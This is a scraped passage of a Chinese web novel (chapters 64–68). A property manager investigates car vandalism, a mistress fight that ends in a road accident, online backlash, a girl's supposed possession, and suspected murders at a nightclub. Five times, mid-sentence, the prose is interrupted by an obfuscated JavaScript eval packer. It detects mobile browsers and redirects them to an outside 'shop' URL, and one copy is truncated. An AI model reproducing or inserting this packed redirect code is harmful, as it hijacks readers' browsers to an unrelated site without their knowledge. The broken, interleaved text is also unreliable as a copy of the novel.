江怀洲很感激的看着我说：“领导，真的太感谢你了。一开始我来应聘的时候，还想着稳当稳当再骑驴找马，现在我不走了，你去哪，我跟到哪，我就跟着你干了！” 我哭笑不得的看着江怀洲，“老江，肉麻不肉麻，俩大老爷们，跟定跟定的。” 江怀洲也嘿嘿的笑了，我突然严肃起来，“关于划车贼，你有什么发现吗？” 江怀洲想了想，说：“领导，我确实有一个想法，但是不一定对。” “说来听听。”我鼓励他。 “划车贼是出现在我们整顿车位以后，之前从来没有过，说明这个贼是被我们这个整顿给整出来的，你说他是不是对我们的政策带着仇恨的？想故意给我们找麻烦。” 江怀洲的分析很有道理，“那你说，能产生仇恨的会是谁呢？” “有几类人，第一个是原来有车位，但是钻空子不交租金，我们一整顿，车位没了；第二个是柱子这种的，因为整顿不能进来乱停乱放了；还有一类就是之前物业的余孽，看到我们整顿出成绩了，嫉妒。” “老江，你的确有两把刷子！分析的既透彻、又有道理。”我由衷的赞叹。 这时候王敬之说：“怀洲，你以后肯定不止于保安这个岗位，有前途！” 我一听，能被我师哥夸的人，少有啊，心里更加的开心了，这个人我招对了。 想了想我又问：“老江，你之前跟许德生在一起共事几年？” “跟许德生啊，应该有7、8年，很长时间的，他一开始就是老板身边一个保镖，不是我们保安部的。”江怀洲回忆。 “那你对他的了解多吗？”我继续问。 “不算少，但是他那些猫腻的事情我躲远远的，仅仅听说，不知道真假。” “猫腻的事？具体呢？”我感觉要接近真相了。 “他跟郑老大干的时候，帮郑老大收保护费，打伤打残别人是家常便饭，他下手黑，在圈子里有一号。后来跟着冯总干，开发荟萃亭，手上好像还有人命。具体不清楚，只是听说。”江怀洲果然给我展示了许德生的另一面。 “领导，你为什么对许德生这么感兴趣？”江怀洲的敏感度很够用。 “噢，没什么，我就是感觉他心挺狠的，说不要员工就不要，而且眼神和面相，也不属于善茬。”我还不打算告诉江怀洲。 “那我们现在就轮班蹲点捉划车贼了，领导，我今天白天休息，晚上我上。我以前在名都的时候经常值全宿，有经验。”江怀洲自告奋勇。 我想了想，答应了他。 江怀洲走后，我跟王敬之说：“师哥，许德生这个人，我有很强的直觉，这几起命案都跟他有关系。” “那个人身上杀气很重，奇怪为什么冯楠会用他。”王敬之说。 “对了，好久没听你说跟冯六日的事情了，你这情执破的咋样了呀？我的师哥。”我调侃。 跟王敬之在一起，有一天不逗闷子都觉得没意思。 王敬之用眼睛翻了翻我，很意外的说：“晶晶生病了，好几天都没上线，我也不方便去看她，不知道怎么样了。” “啊？你怎么不早说，正好我陪你去一趟，顺便打探打探他们治理荟萃亭的情况啊！” “可是我们就这么去了，引起冯楠的误解是不是不太好？毕竟我没想要和晶晶怎么样。”王敬之很犹豫。 “师哥，你放心，这事我最拿手了，交给我吧。明天找个时间，我陪你去看看。” 当天晚上12点多，我悄悄的出了宿舍，准备在暗处盯梢，江怀洲在明处，我们各自配合，说不定很快就能有效果。 城中花园因为当初建设的原因，停车位都设计在小区主路旁边，没有地下停车位。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158131|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为面积大、分散，我只能藏在黑暗处，伺机而动。 我正全神贯注的四下看着，突然听见有由远而近的跑步声，是谁呢？这么晚了。 脚步声很凌乱，不像是在锻炼，倒像是在很着急的去哪里。 正犹疑着，有一个人影以很快的速度往这边走过来，我一把抓住他，“怀洲，别动！” “领导，怎么是你？”我立刻做了一个噤声的手势，示意他不要惊动了马上就跑过来的人。 他秒懂，跟我一起站在暗影里盯着，看清了过来的人竟然是，女的！ 穿着家居服，很短的短裤，上面也是衣衫不整，好像刚刚打过架，脸上明显有泪痕，正急匆匆的往对面的一栋楼跑去。 难道是谁家的业主打架了？我和江怀洲彼此看了看，感叹夜晚竟然可以看到平时无法看到的秘密。 我目送那个女的进入对面楼的三单元 ，感应灯一层一层的亮着，一直到四楼熄灭。 女人呐，如果自己不能学会保护自己，那就是随时都会处于危险之中。 接下来，我和江怀洲一起等，但是，一直到天亮，都再也没有任何异常出现。第一晚蹲坑宣告失败。 第二天上午我还没从补觉中醒来，就被王敬之给摇醒，“向荣，快，快点，有业主打起来了！” “什么业主打起来了？咋回事儿？”我还没有完全醒。 “哎呀我说你，赶紧的，边走边说！”王敬之把我的外套递给我，拉着我就往外走。 “师哥，你怎么也学的跟毛头小子似的，这么不稳重呢，说走就得走。”我抱怨。 还没等到园区里，就听到很嘈杂的声音，还有女人的尖叫，我扭头瞅了瞅王敬之，后者瞪了我一眼，这么严重的吗？ 意识到问题的严重性以后，我加快脚步，园区主路上已经围了很多人，一些出入园区的车也被堵在当场，出不去、进不来，那场面乱的。 我大概看了一眼人群，陈叔和魏老都在，还有毛芝云，他们都在劝架。 我天！我只不过是休息了几个小时，就出了这么大事么？ 第六十四章 凤子的选择 我刚挤进人群要问问陈叔发生了什么，圈子里的场面差不点惊掉我的下巴。 两个女人互相扯着头发，其中一个衣衫不整，另一个看着好眼熟，这不是昨晚上跑步的业主吗！ 旁边还有两个男的架着一个男人，不让那个男人动弹，被控制的男人极力的挣扎，但都于事无补。 “咋回事？陈叔。”我挤到陈叔身边小声问。 “打小三的，要扒小三的衣服示众。”陈叔几句话就提炼了重点，我的脑袋却被他的几句话“咣、咣”击了几下。 “业主，冷静！冷静！你看现在围了这么多人看着，多不好，有什么话咱们自己关起门来说，这样杵在这里，谁也出不去、也进不来，这不行啊！”我立刻想到了先疏散人群，恢复秩序。 “大家散了吧、散了吧，园区门现在不需要刷卡，请开车的业主按照我的指挥出入。”江怀洲瞬间就懂了我的意思，赶紧进行人群疏散。 魏老和毛芝云也开始劝一些大爷大娘回去，有人进行指挥了，现场的热度开始渐渐褪去。 我看看已经开始有序进出的车辆，示意王敬之，我俩来到被架着男人的旁边。 “爷们儿，啥情况？哪个是你家女人？”我问。 被架着的男人看着能有40多岁，身材不错，应该是很注重保持，脸上有伤，像是被指甲挠的，白面书生一样的一张脸顶着“划痕”，有点可笑。 “吕经理，你来的正好，让他们放开我，他们这是犯法的，我要报警！报警！” 他还敢喊？我悄悄瞄了瞄架着他的两个男人，其中一个气哼哼的对他说：“报警？你报啊，让大家都知道知道你的真面目，敢欺负我姐，我看你是好日子过够了！” 我迅速判断，这个应该是小舅子。 两个女的还以互掐的造型站在一起，尤其其中一个衣衫不整的，我不方便去劝。 我看了看不远处的毛芝云，用眼神示意她把两个女人拉到角落，她很伶俐，走向两个女人。 “凤子，听姐一句劝，撒开吧，咱们有话好好说，好不好？你想想你家小东，要给自己留余地呀！”毛芝云劝着。 “贱货！破坏别人家庭，就在一个院子住着还敢扯这个，我今天就要让全园区的人都知道知道她就是个贱货！”叫凤子的女业主加大了手上的力道。 另一个女的也不服软，凤子加大力道后，她朝着凤子一顿猛踹。 这时候魏老说话了，“你们两个，撒开他，这是人家家事，你们这样整，你们自己姐姐不也丢了脸面吗？弄得人尽皆知，孩子以后怎么见人？赶紧撒开！再继续这样，我们物业也要报警了，妨碍公共秩序！” 魏老不愧是当过领导的人，说话字正腔圆，自带震慑磁场，两个架着人的男人慢慢的松了手。 这时候一场人间“真实”上演了。 “你撒开她！撒手！”书生男直接走向凤子，一边扯她的手、一边嚷。 我、王敬之、老魏和陈叔、毛芝云，都迟疑着，不知道书生男要闹哪样。 叫做凤子的女人不情不愿的撒开了手，没提防被对面的小三啪啪的打了两个耳光。 凤子不干了，疯了一样的再次去抓小三，但是书生男死命的扯住她，丝毫没有管小三的意思，反倒是看向凤子的眼神里充满了厌恶。 我心里开始不是滋味，天平开始倾斜。 这时候凤子突然就崩溃了，连哭带喊的尖叫起来，“刘明宇，你这个负心汉，渣男！你竟然护着她，让她打我？我给你养儿子、当全职主妇，你就这么对我？我不要活了！” 这时候园区的车已经疏散的差不多了，凤子的话音一落，我们几个人正迟疑的时候，她突然就冲向了园区外面的主路。 “怀洲，拦住她！”我反应过来赶紧提示江怀洲。 但是因为距离不近，还没等江怀洲转过身，凤子已经撞到了外面主路的一辆车上，车辆急刹的声音，混合着外面业主的尖叫完了。 我看看斜睨着眼睛、依旧不服不忿的小三，未再同情她“衣衫不整”，冷冷的看着她说：“宁拆十座庙，不毁一桩婚，会遭报应的，知道吧！” 说完我就跑向现场，带着满心的愤懑、遗憾、还有对那个叫小东的孩子的担忧。 我也没再理会书生男是什么反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158132|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，很有可能，现在这一个能呜呼了，才是他最希望的。 凤子被撞出去好远，120把她拉走的时候，她弟弟一直跟着她，不停的抹眼泪，我还是没有看到书生男刘明宇。 “这叫什么事儿！哎！”陈叔跺着脚、叹着气，“造孽，造孽！” 我能理解陈叔的情绪，这应该是他们那个年代的人不曾见过的场面，毛芝云也眼泪汪汪的看着远去的120。 “吕经理，这事影响太不好了，但是今天物业的反应真的很快，你们是专业的！”老魏还不忘夸赞我们的业务能力。 可是我没心情领受荣耀，我的心特别沉重，想来昨晚上是凤子发现了刘明宇出轨的对象是谁，很有可能是去盯梢后返回。 我看了看跟我一样垂头丧气的王敬之和江怀洲，什么也不想说，挥挥手示意他们收队。 回到办公室没过十分钟，接到了林翔的电话，“向荣，是你们园区出事了吗？那个女的死了吗？” “你怎么知道？有人报警了？”我很诧异。 “我说你啊，物业管理咋干的，这么大的事怎么可能不被好事者传到互联网，你赶紧看看吧，我看到视频里面你们指挥疏散车辆，这些都被收录进去了，下边评论区说啥的都有。” 我没再继续听林翔说话，赶紧挂断电话，打开电脑上网。 果然的，被传播上去的视频很清晰的把我们几个人都收进去了，尤其是抓狂的凤子跟被扒示众的小三，脸部360曝光。 我的手机又响了，是林皓。 “向荣啊，咋搞的？女业主死了吗？你赶紧去看看，这段舆情一定要压住啊！要是被总部发现，我们年底的奖金都没了！” “林哥，他们自己在园区打架，我们也行使了物业的职责了，集团扣我们奖金干嘛？没道理啊！”我不服。 “你不懂，这是负面舆情，或多或少的都对物业有不利影响，我相信你一定是尽职尽责了，就怕集团内部有好事者。别跟我泡蘑菇了，赶紧的，按我说的去做！”林皓没等我抱怨完，就挂断了电话。 我愁眉不展的看着王敬之，“师哥，网上的舆情，咋办？” 第六十五章 舆论 “别急，看看评论区都说的啥，这段视频我看了好几遍，物业的反应和做法都是没问题的，这一点业主委员会那几个人也都能作证。”王敬之知道这个时候要安抚我。 我平复了一下心情，舒缓着心里涌上来的各种情绪，一点一点的看评论区。 “城中花园，正室捉小三，新鲜出炉” “该打！破坏人家家庭！” “这大老婆保养的可以的呀，咋还找小三呢！” “瞧瞧这车堵的，城中花园的物业真垃圾！” “城中花园的物业搞什么车位规划，这回好了，一有事进不来出不去，垃圾物业！” “就这样的园区情况、物业挤兑人，住里面的人能不发疯吗？” 果然的，林皓的预见性没有错，确实有好事者利用这件事攻击物业，而且又是车位规划的事情。 我踌躇满志的用双手捂住脸，上下的搓着，这工作，真不好干，尽管你是为了别人，但是别人不认为你是为了他们，这种业主和物业的对立情绪无法根治。 尽管你平时做了100个好，哪怕有一个疏忽、一个不好，那结果就是100—1=0。 “领导，别犯难，这都不算事儿，先冷冷，今天没主意，明天再说。”江怀洲安慰我。 我一听，确实有道理，在自己都想不出办法的时候，就只能冷处理，让时间当主角，也许会出现转机也说不定。 “向荣，你不是要陪我去荟萃亭吗？走吧，别搁这压抑了，就当出去散心了。”王敬之知道我一有搓脸的动作就是没主意、心情低谷了。 我看看王敬之，想想确实可以出去溜达溜达，“好，走吧。” 把物业的工作简单安排了一下之后，我跟王敬之出了门，“师哥，我还是先去看看凤子吧，我很担心，她可别死了。” “走吧，先去医院。”王敬之改主意先跟我去医院。 我们到了医院，凤子刚出icu，听医生说命是保住了，但是由于碰撞的力道太大，凤子的头在弹出去的时候撞到了硬物，现在还是昏迷不醒。 “大夫，那你看她什么时候可以清醒呀？”我很焦虑，有种不想面对的后怕。 “这个可不好说，她现在虽然止住了内部出血，但是神经系统损伤还需要恢复。清醒以后可能还会有头痛、眩晕、记忆力减退等后遗症。”医生说。 我和王敬之互相看了一眼，明白彼此内心都替凤子感到不值，现在的结果很无奈。 “师哥，凤子没醒，咱们就别进去看了，关注消息吧。”我征求王敬之的意见。 可是我发现王敬之直直的盯着病房门口，我顺着他的目光看去，刘明宇正扯着一个小男孩往外走。 “我不走，我要陪着妈妈、我要妈妈！”小男孩压抑的哭声，让知道发生了什么的我和王敬之十分难过。 我忍不住走过去，“老刘，您爱人怎么样了？我和同事过来看看。”然后没等刘明宇说话，哈下腰问小男孩，“你是小东吧？别哭，你是大孩子了，妈妈很快会好起来的，这个时候他需要你乖喔。” 小东大约有8、9岁的样子，已经是满脸泪水，他不认识我，但是他听懂了我说的话。 他抽噎着看着我，不说话，小手紧紧的拉着刘明宇。 “吕经理，你们、你们什么时候来的？”刘明宇满脸的疲惫，后院着火，他一定也不好过。 “老刘，怎么样、现在？稳定了吗？”我问。 “哎！她性子太急、太烈！她这一冲动、满足了，扔下这一大摊子事情，我怎么解决得了？”刘明宇没设防，也许是因为知道我目睹了全程的原因。 “你是说孩子？这段时间先让爷爷奶奶、或者姥姥姥爷照顾一下吧，凤子身边需要人。”我以为他口里说的一大摊子，是指孩子。 “要是孩子倒好了，也不知道是哪个看热闹不嫌事儿大的，把打架的现场发网上去了，弄得我的单位是人尽皆知，没想到，老了老了，还弄出一个丑闻，哎！” 我看着垂头丧气的刘明宇，忽然感到有一丝窃喜，甚至于有点感谢发视频到网上的人了，如果没有这些压力，恐怕他还是不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158133|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悔改。 “老刘，事已至此，照顾伤者是大事，小东才这么小，不能没有妈妈。”我本着善意相劝。 刘明宇的眼睛里有一种愤恨一闪而过，“让她妈、她弟弟来管，我没时间，自己惹的事自己擦屁股去！” 说完以后扯着还在哭泣的小东就走了。 我愣在当场，虽然我也是男人，但是，男人可以做到这样的吗？ 里面躺着的那个难道不是自己自情自愿娶回家的女人？手里扯着的那个难道不是女人十月怀胎掉下的肉？ 我能理解岁月可以磨平激情，但是我不能理解情感要随着岁月变淡，难道不应该是随着岁月升华吗？ “师哥，走吧！再继续待下去我要气死了！”我愤怒的走在前面，鞋子把走廊的地面踩的咣咣响。 到了冯楠家，冯楠很热情的接待了我们。 “向荣，今天怎么有时间过来了？”冯楠招呼我和王敬之落座，又喊李婶给我们倒茶。 “三哥，你 最近身体如何了？我给你开的药喝着怎么样？”我询问着冯楠。 “向荣啊，要说呢，你的医术可真的是高明。我一开始以为，这么严重的病，还不得过个一年半载的才能见好啊，没成想这才喝第三副，就基本没有突然晕倒的情况了。” 冯楠高高兴兴的看着我，感激的神色掩饰不住。 “三哥，我再给你切切脉。” 冯楠的脉象平稳，有力，全无之前的沉弦迹象，我点点头，“三哥，基本无异样了。” 听到我的肯定，冯楠更加开心，立刻张罗李婶备饭，要留我们吃饭。 “三哥，我今天来还有件事，是陪我师哥来看看晶晶，听说她病了？”我问。 冯楠听完我的问话，神色黯然下来，“要不说呢，这人呐，做事一定要本着善意出发，开发这么个房子，钱没见赚多少，事情却是层出不穷啊！” 我和王敬之互相看了看，看来还挺严重。 “冯三哥，晶晶到底怎么了？什么病？”王敬之忍不住发问。 第六十六章 中邪的晶晶 “晶晶中邪了。”冯楠慢悠悠的说。 “什么？中邪？”我和王敬之不约而同的冲口而出。 “走吧，她就在楼上，我带你们去看看。”冯楠起身，示意我和王敬之跟他上楼。 冯晶晶的卧室在二楼，门打开后，里面好大的一个空间，冯晶晶背对着门坐在床上，背影很瘦削。 有动静，我仔细听了听，是晶晶在唱歌？ 冯楠带着我们走到冯晶晶前面，多日不见，冯晶晶瘦了好多，眼睛里的精气神也没了。 她感知到有人走过来，抬眼看到了王敬之，“敬之哥哥，你来了。” 就像是例行的问候，没有任何情绪波动，跟我认识的那个青春洋溢的冯晶晶完全是两个样子。 “晶晶，你怎么了？哪里不舒服，告诉我。”王敬之很紧张。 冯晶晶转过头，就那么定定的看着王敬之，有个两三秒的工夫，她突然就哭喊起来，“你走，你给我走，这里不是你家，你走！” 王敬之吓了一跳，我看出他眼睛里的忧郁，难道？ “三哥，咋回事这是？晶晶这样多久了？”我急急的问道。 冯楠安抚着哭喊的冯晶晶，很无奈的说：“她这样有一个星期了，自己在房间里经常自言自语、又哭又笑、大叫，大部分时间就淡漠着，一言不发，问她怎么了也问不出来。？” “为什么没去医院看看呢？”王敬之问。 “去医院了，医生说是癔症，让看中医调理。还给开了一些镇静的药，但是这些药吃完，她就会没完没了的睡觉，我有时候担心这孩子会不会睡过去。”冯楠擦了擦湿润的眼角。 我终于理解了他说“层出不穷”的意义，看来，他是以为自己受到了报应。 “晶晶，向荣哥给你把把脉。”我一边说、一边试探性的去抓冯晶晶的胳膊。 哪知道冯晶晶像触电一样叫起来，“爸爸、爸爸，我害怕！” 冯楠赶紧扶着冯晶晶进行安抚，“晶晶，不怕，爸爸在呢，来，坐下，别怕。” 冯晶晶安静下来后，我小心翼翼的给她切脉，脉细数、虚弱；观察她的气色和舌像，质淡红，少苔，再加上她精神恍惚、心神不宁，这些都是气阴两虚证的表现。 “冯三哥，晶晶确实是癔症，我给你写个方，你给她抓药喝，先喝一周看看。” 冯楠十分感激的点头，他对我的诊治十分的信服。 我看看一脸担忧的王敬之，我这师哥，对冯晶晶是真的上心了，还没见过他对哪个女的这么担忧的样子。 吃饭的时候，我问了我最关心的问题，冯晶晶怎么弄成这样的？ 一个20出头的小姑娘，气阴两虚，不是很常见，一定是有什么诱因。 “都怪我，不该总是宠着她、纵容她，她如果不是常去名都，不会遇见事儿的，不遇见就不会变成今天这样。”冯楠懊悔的拍着大腿。 又是名都，“冯三哥，你说说细节，到底怎么了？知道了病因才能更好的治病呀！” 冯楠说了事情的经过，原来冯晶晶是在名都受到了惊吓。 据说是当晚冯晶晶带着几个同学一起到了名都，许德生给安排到名都的楼层，十几个人连跳带唱的玩到很晚，冯楠打了好几遍电话催冯晶晶回家。 可是越到后来，冯晶晶越不接电话，冯楠没办法只好给许德生打电话，告诉他无论如何也要赶紧把冯晶晶送回来。 等许德生来到冯晶晶她们所在包房的时候，发现这些人都喝的很醉，只有冯晶晶还挺亢奋，自己在大声的连说带笑。 许德生看着像是冯晶晶自己在自说自话，可是越看就越觉得冯晶晶好像在和空气对话。 都是一问一答，有节奏的。 许德生吓坏了，赶紧给冯楠打电话，冯楠在电话里斥责许德生，让赶紧把晶晶带回来。 冯晶晶被送回来以后，已经醉的不省人事，第二天醒了以后就开始各种症状的发作。 这是什么情况呀？没听说过，跟空气对话、还能犯了癔症。 我看看王敬之，王敬之眉头都快拧到一起了，也是一脸的迷惑和不理解。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158134|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “三哥，这情况很少见。现在只能先给晶晶喝我开的汤药了，看看喝完药以后怎么样再说。”我安慰冯楠。 接下来我们几个人都默不作声的吃饭，我们都想着冯晶晶这个事情，每个人的心里都不好受。 “三哥，你认识李文月吗？”我忽然想起问问他对荟萃亭挖出的这具尸体是否相识。 “李文月？这名字好熟悉，我想一下。李文月是老四杜国瑞公司的会计，也是荟萃亭开发公司的会计，她好像是，失踪了，一直没找到这个人。” “她死了，王宁家地下挖出的尸骨就是李文月。”我说。 “什么？”冯楠惊吓的筷子掉到了地上。 我惊诧于他这么大的反应，看着他愣神的样子，我问：“三哥，怎么了？” 冯楠像被狂风吹落的叶子一样，颓丧的说：“实不相瞒啊，李文月是我四弟的相好，这事儿王宁不知道，你们可千万别说漏了嘴。” “啊？据我所知杜国瑞也是在开发期间失足堕落 摔死的吧”我觉得疑点重重，但是却不知道问题出在哪。 “是的，国瑞也死在这里。”冯楠停了好半天，好像在下一个很大的决定一样。 “老谢家五口、老四、李文月，还有那些找不到的，这事不能再继续下去了，我明天就去找老大，不能再等了。” 我听着冯楠的说法，没有问什么，因为我知道他想的是什么，如果说这些事情都是有关联的，那，始作俑者确实是他们兄弟五人。 “三哥，我这次来，感觉你们做的植树补基还是挺好的，地气明显好转了很多，今后继续坚持，一定会好的！”我加以鼓励。 “向荣啊，我明白你的意思。但是这些都是亡羊补牢啊，之前做的那些造孽的事情，一定是要还的啊，不是种一些树、改几处风水就可以弥补的。”冯楠很诚恳。 我感慨于他的知错能改，更被他尊重因果的做法所折服，这样的人应该可以摆脱厄运的吧。 可是，如果许德生是他的手下，许德生的所作所为不是他指使的吗？ 第六十七章 害死了却找不到 从冯楠家出来以后，王敬之一直都心事重重的，我怕他想不开，想逗他开心。 “师哥，你隐藏的很深呐，对冯六日这么上心，你还跟我不承认。” 王敬之一反常态的、认真的看了看我，叹了口气，“向荣，我要去名都好好看看。” 我感觉到了事态的严重，“你怀疑？” “是的，你不是说一直没找到刘才东、但是奇门遁甲的方位却显示在名都吗？我相信你的能力，应该不会错，之所以没找到，是不是因为他已经是看不到的样子了？” 王敬之的这个猜测让我震惊，但是越想越有可能，我折服于王敬之的想象力。 “师哥，你要相信我，我一定能治好晶晶的，她不会有事。”我给王敬之吃定心丸。 王敬之点头，我知道他对我的信任就像我对他一样。 我们商量好，先跟江怀洲了解名都的整体构造，然后再找机会进去查看。 江怀洲说的跟我们之前了解到的差不多，一楼是散台，二楼是包房，三楼是招待一些特殊客户的，叫做楼层，进进出出的是什么样的人，下边的员工也不清楚。 只有许德生这个层面的人才知道谁在三楼玩。 “老江，名都后面有一大片垃圾聚集地，具体是什么情况？”我问。 “你是说发现尸体的那片区域吗？”江怀洲问。 “这你都知道啊！对，就是那里。” “这谁不知道啊，警察来了那么多人，走时候还带走了一个大桶，谁猜不到呢！” “死的那个人去名都玩过吗？你认不认识他？” “赵明嘛，我们那里几乎都认识他，警察也来问过好几遍。”江怀洲说。 “他为什么会死在你们名都后院呢？”我继续问。 “领导，这件事我可以告诉你，但是咱就哪说哪了啊，因为都是道听途说，没有根据，所以也不可能跟警察透露。”江怀洲很谨慎。 “你放心，江湖规矩，我懂。”我赶紧表态，想要听听背后到底有什么秘密。 “这个赵明，是个赌鬼，还是个倒插门，他老丈人家有钱，就在那个荟萃亭嘛、在那住。他老婆挺漂亮的，但是很强势，有一回他老婆来找许德生，就是因为替他摆事儿。” 我忽然就想到了刘才东陪谢敏去名都那一次，“当时你在吗？你怎么知道的这么清楚？” “当时我确实在，那天是我当班，我记得没错的话，他老婆那天还带了一个男的来的，那男的一直在门口等她。后来，许德生不知道在楼上怎么难为他老婆了，那女的衣衫不整的，一边哭一边往外跑。许德生这个畜生，什么都敢干！” 我仿佛能拼凑出真相了，但是我很担忧，因为我不确定冯楠到底是不是幕后黑手。 “名都后院那片垃圾站，政府不管，其实也是冯老大干预，那片地的使用权目前还存在纠纷，所以也就三不管了，没人去收垃圾，都是名都自己跟第三方合作收。赵明的尸体我估计已经扔那有一阵了，反正也没人敢过去，就一直没人发现。”江怀洲继续说。 “如果说有一个人被许德生弄死了，但是却找不到尸体，你觉得有可能吗？”王敬之突然问道。 江怀洲愣了一下，先是看了看我，征询我是不是可以回答。 我默默点头，“老江，你跟我这么久了，你的人品我信得过，我也就不瞒你了，我当兵时候的老班长失踪了，他被牵扯到赵明家灭门案中，警察怀疑他跟谢敏关系不正常，还怀疑他是凶手你看到那个陪谢敏去名都的男的就是他。” “你是想知道老班长是不是被害了？是不是在名都？”江怀洲很聪明。 “对，而且种种迹象表明，他很有可能就是在那里被害的。”我回。 江怀洲看看王敬之，很严肃的回答：“你问的问题很有可能。之前我听说过，而且就是他自己喝多了跟我们说的，告诉我们谁也不要惹到他，如果惹到他，他会让我们死都不知道死在哪里。” 我和王敬之互相看看，陷入沉思，如果是没有尸体，该怎么定罪？怎么去找凶手？ “领导，你们别犯难，也许我能帮你们弄到监控。” “名都的监控，我都看过了，没有发现什么蛛丝马迹。”我回。 “你看的是许德生允许你看的部分吧？”江怀洲问我。 “对啊，是冯楠安排的，告诉许德生不允许有任何加工。” “那肯定是什么都看不到的，他又不傻。你放心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158135|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我帮你去拿到最原始的，给我几天时间。”江怀洲揽下重任。 这件事交给江怀洲后，我很有信心，我相信老江一定能把我想要的拿过来。 就在我等着江怀洲结果的时候，毛芝云和牛爱玲来物业找我。 “吕经理，凤子家捉小三的事情网上传播的可邪乎了，现在的风头完全朝咱们物业去了，我俩来和你说一声，要解决舆论可得趁早啊！”牛爱玲说。 “哎！两位姐姐，这可是我这两天的心病，你们当时都在现场，都看到了，物业当时不论是反应速度还是采取的办法，那都没毛病。现在这些恶意的人借助这个事情抨击我们规划车位的事，你们说我 咋办？”我实事求是的发牢骚。 “小吕，姐知道这事儿不赖你们，车位规划这件事多好啊，咱们家老头都赞不绝口，现在出入规规矩矩的，再也不是随意进出、没收没管了。你别灰心，我们都支持你。”毛芝云安慰我。 “吕经理，我看要不你和老魏、陈叔，要不我们业委会一起，我们想个办法吧，总这样下去，看着你们物业受冤枉，我们心里也不落忍。”牛爱玲建议。 正合我意，于是我在群里发布了需求，晚上我们碰个头。 破天荒的，定的7点会和，几个人6点半就全到了，我感受到了他们对我的重视。 “小吕啊，这网上说的这些，你别往心里去啊，哪里都是有好人、也有坏人，坏人还是占少数。”老魏第一个发言。 “对，向荣，我不是和你说了么，物业规划车位这个事情，很多业主反响都很正面。”鲁林安也安慰我。 “到底是谁呢？非要坑人，弄的现在有口难辩的。”毛芝云说。 “这个事啊，既然是因为刘明宇家的丑闻引起，最好还是因为这个丑闻结案，别让别有用心的人带跑偏了舆论。”陈叔发表观点。 “魏老、陈叔、鲁老师，还有两位姐姐，我吕向荣这几天愁的吃不香、睡不好，咱们物业隶属的集团管理严格，舆论虽然不因物业而起，但是波及了物业，这也说明，我在某方面的工作做的确实不够严谨，我认栽了。不过，今天能听到你们这么力挺我，我感到很安慰，说明这段时间的努力没有白白付出。”我由衷的发表感慨。 第六十八章 钓贼计划 “不过现在，物业的工作进展受阻严重，划车贼还没抓到，这又弄出个负面舆情，我确实还没想到用什么好办法来化解。”我如实交底。 “向荣，我倒是有个办法，你们看看能不能试试。”陈叔说话了。 “陈叔，有什么办法你说出来，我们分析分析呗，我觉得你说的办法应该十有八九就管用。”我着急的问。 其余几个人也都附和着，让老陈说完。 “但是这个办法有点鸡贼，看看向荣愿不愿意做。”老陈又卖关子。 “陈叔，你就别让我着急了，我这好奇心被你挑的足足的了，啥鸡贼不鸡贼的，只要能解决问题，就行！”我可急坏了。 “我们来做个局，把那个划车贼钓出来，也顺便把这事传播到负面舆论那篇帖子上，这样不就真相大白、狼子野心昭然若揭了吗？让他们自己打自己的脸，物业的冤屈也就给洗了。”陈叔说完，微笑的看着我们。 毛芝云第一个说：“陈老，您是让吕向荣去骗人？” 牛爱玲赶紧解释，“毛姐，不是骗人，是做个套，让划车贼钻进来。” 鲁林安插了一嘴，“可是，怎么就能确定你这个套子，划车贼一定能钻呢？” 陈叔回：“这就要看吕经理的功力是不是深厚了。”说完还笑眯眯的看我。 